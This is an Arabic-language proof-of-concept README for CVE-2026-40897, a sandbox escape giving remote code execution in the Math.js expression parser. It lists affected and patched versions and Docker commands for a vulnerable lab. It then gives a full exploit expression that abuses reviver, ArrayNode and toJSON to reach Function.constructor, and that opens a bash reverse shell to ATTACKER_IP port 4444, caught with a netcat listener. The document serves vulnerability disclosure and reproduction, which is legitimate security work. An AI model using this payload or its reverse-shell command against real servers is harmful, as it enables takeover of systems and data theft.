
Math.js محلل التعبيرات RCE
★ CVE-2026-40897 تنفيذ التعليمات البرمجية عن بُعد في Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 هي ثغرة تجاوز الصندوق الرملي (Sandbox Bypass) تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد في محلل تعبيرات Math.js. مرشح
isSafePropertyيتحقق فقط من الوصول إلى الخصائص من تعبيرات المستخدم، وليس من مسارات التعليمات البرمجية الداخلية. من خلال تسريب المصفوفة الداخلية لـArrayNodeعبرtoJSON()والكتابة فوق.mapالخاصة بها، يمكن للمهاجم إجبار التعليمات البرمجية الداخلية على الوصول إلىFunction.constructorوتنفيذ JavaScript تعسفي.
| الفئة | الإصدار |
|---|---|
| المتأثرة | Math.js 13.1.1 ≤ الإصدار ≤ 15.1.1 |
| المصححة | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
بعد تشغيل البيئة المتأثرة، اتبع الخطوات التالية لإعادة إنتاج الهجوم.
nc -lvnp 4444
أرسل التعبير التالي إلى math.evaluate (على سبيل المثال، عبر حقل إدخال الحساب في التطبيق).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
يتصل الخادم المستهدف مرة أخرى بمستمع المهاجم، مما يمنح قشرة bash تفاعلية.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) عبر محلل التعبيرات